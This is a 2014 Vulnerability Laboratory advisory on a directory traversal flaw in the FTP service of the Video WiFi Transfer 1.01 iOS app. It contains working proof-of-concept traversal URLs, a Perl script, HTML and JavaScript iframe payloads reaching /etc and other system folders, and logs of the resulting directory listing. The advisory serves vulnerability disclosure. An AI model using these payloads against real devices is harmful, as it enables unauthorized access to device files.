Document Title: =============== Video WiFi Transfer 1.01 - Directory Traversal Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1288 Release Date: ============= 2014-08-02 Vulnerability Laboratory ID (VL-ID): ==================================== 1288 Common Vulnerability Scoring System: ==================================== 6.7 Product & Service Introduction: =============================== Using this app, you can download videos to a PC or a smartphone from your iPhone through WiFi. The video downloaded can be played back on PC and another smart phones as well as Mac and iPhone because the app converts it into a MP4 video. It only takes a few seconds for the conversion. You would say it is the fastest. Just run the app on the iPhone and open the web browser on your PC or Android. That is all that you are required to do. It is quite simple. In addition to the web browser, a ftp client application is also supported to access the videos. Do not pay money for these functions as the app provides all of them without charging. (Copy of the Homepage: https://itunes.apple.com/de/app/video-wifi-transfer-mp4-conversion/id892132370 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a Directory Traversal vulnerability in the official Bluefinger App Video WiFi Transfer/MP4 Conversion v1.01 iOS mobile application. Vulnerability Disclosure Timeline: ================================== 2014-08-01: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== BlueFinger Apps Product: Video WiFi Transfer/MP4 Conversion - iOS Mobile Web Application 1.01 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A directory traversal web vulnerability has been discovered in the official BlueFinger Apps Video WiFi Transfer v1.01 iOS mobile application. The vulnerability allows remote attackers to bypass the path restriction of a service to access sensitive app-, web-server or -device information. The vulnerability is located in the `ftp` (ftp://localhost:8080) service of the wifi `web-server` module. The issue allows an attacker to bypass the regular `folder/path` validation mechnism to access sensitive app web-server or iOS -device information. The attack vector of the issue is on the application-side of the service and to perform malicious request the `GET method` is required to use. After the start of the web-server by usage of the ftp function, the attacker is able to include 5 more path values (../../../../../) to access unauthorized higher folders outside the mobile application service. In the analysis we saw that the path change of 5 directories is required to bypass. During the tests we accessed the full app service folder and through the directory traversal to web-server configuration files but also the parent device directory. The security risk of the directory traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.7. Exploitation of the path traversal web vulnerability requires no privileged web-application user account or user interaction. Successful exploitation of the directory traversal vulnerability results in mobile application or connected device component compromise. Request Method(s): [+] GET Vulnerable Module(s): [+] Directory Vulnerable Parameter(s): [+] path Affected Module(s): [+] Parent Directory (ftp://localhost:8080/) Note: The structure of the software is the same like in the official BlueFinger Apps `Photo` WiFi Transfer v1.01 iOS mobile application. The same vulnerability is located in both mobile ios software of the bluefinger apps company. Proof of Concept (PoC): ======================= The directory traversal web vulnerability can be exploited by attackers without privileged application user account and user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Exception: 50 /private/var/mobile/Applications/CFCEEF6E-AA35-42D6-84EC-BFB518F764B1/Documents/video/../../etc/passwd No such file or directory. Standard Request: ftp://localhost:8080/../../Documents/ PoC: Links ftp://localhost:8080/../../../../../../../../../../../../../../../../etc ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/ ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/ ftp://localhost:8080/../../../../../../../../../../../../../../../../System/ Exploit: PoC (PL) #!/usr/bin/perl use LWP::Simple; print "-------------------------------------------\n"; print "-= Photo WiFi Transfer v1.0.1 - PoC Directory Traversal=-\n"; print "-------------------------------------------\n\n"; print "Target(ftp://localhost:8080/)\> "; chomp($targ = <STDIN>); print "Path: (/fn25/)\>"; chomp($path=<STDIN>); $url = "../../../../../../../../etc/"; $page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!"; print "[+] Connected to: $page\n"; Exploit: PoC (HTML) <html> <head><body><title></title> <iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../etc> <iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/> <iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/> <iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../System/> </body></head> <html> Exploit: PoC (JS) <script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%3Ctitle%3E%3C/title%3E%0A%3Ciframe%20src%3Dftp%3A// localhost%3A8080/../../../../../../../../../../../../../../../../etc%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/ ../../../../../../../../../../../../../../../../usr/%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/../../../../../ ../../../../../../../../../../../Applications/%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/../../../../../../../ ../../../../../../../../../System/%3E%0A%3C/body%3E%3C/head%3E%0A%3Chtml%3E';d=unescape(m);document.write(d);</script> --- PoC Console Logs --- Applications 14.03.2014 19:06:00 Developer 18.08.2013 06:19:00 Library 20.10.2013 06:32:00 System 17.10.2013 08:08:00 bin 03.07.2014 18:13:00 cores 18.08.2013 05:56:00 Datei:etc 1 KB 20.10.2013 06:32:00 private 05.01.2014 22:18:00 sbin 03.07.2014 18:13:00 Datei:tmp 1 KB 20.10.2013 06:32:00 usr 20.10.2013 06:23:00 Datei:var 1 KB 20.10.2013 06:32:00 300: ftp://localhost:8080/../../../../../../../../ 200: filename content-length last-modified file-type 201: "Applications" 0 Sun%2C%2014%20Mar%202014%2019%3A06%3A00 DIRECTORY 201: "Developer" 0 Sun%2C%2018%20Aug%202013%2006%3A19%3A00 DIRECTORY 201: "Library" 0 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 DIRECTORY 201: "System" 0 Sun%2C%2017%20Oct%202013%2008%3A08%3A00 DIRECTORY 201: "bin" 0 Sun%2C%2003%20Jul%202014%2018%3A13%3A00 DIRECTORY 201: "cores" 0 Sun%2C%2018%20Aug%202013%2005%3A56%3A00 DIRECTORY 201: "etc" 11 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE 201: "private" 0 Sun%2C%2005%20Jan%202014%2022%3A18%3A00 DIRECTORY 201: "sbin" 0 Sun%2C%2003%20Jul%202014%2018%3A13%3A00 DIRECTORY 201: "tmp" 15 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE 201: "usr" 0 Sun%2C%2020%20Oct%202013%2006%3A23%3A00 DIRECTORY 201: "var" 11 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE Note: The traversal becomes visible after the 5th path/folder request and affects like regular the full app path via web-server. (_eTiGb+6) The issue is the same vulnerability like in the VL-ID 1286. The producer only changed the software name and converter to ensure that video can be transfered then pictures. Solution - Fix & Patch: ======================= The directory traversal web vulnerability can be patched by a secure filter and restriction mechanism in the GET method request of the directory/path name value module. Security Risk: ============== The security risk of the directory traversal web vulnerability in the ftp service of the mobile application is estimated as high. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. 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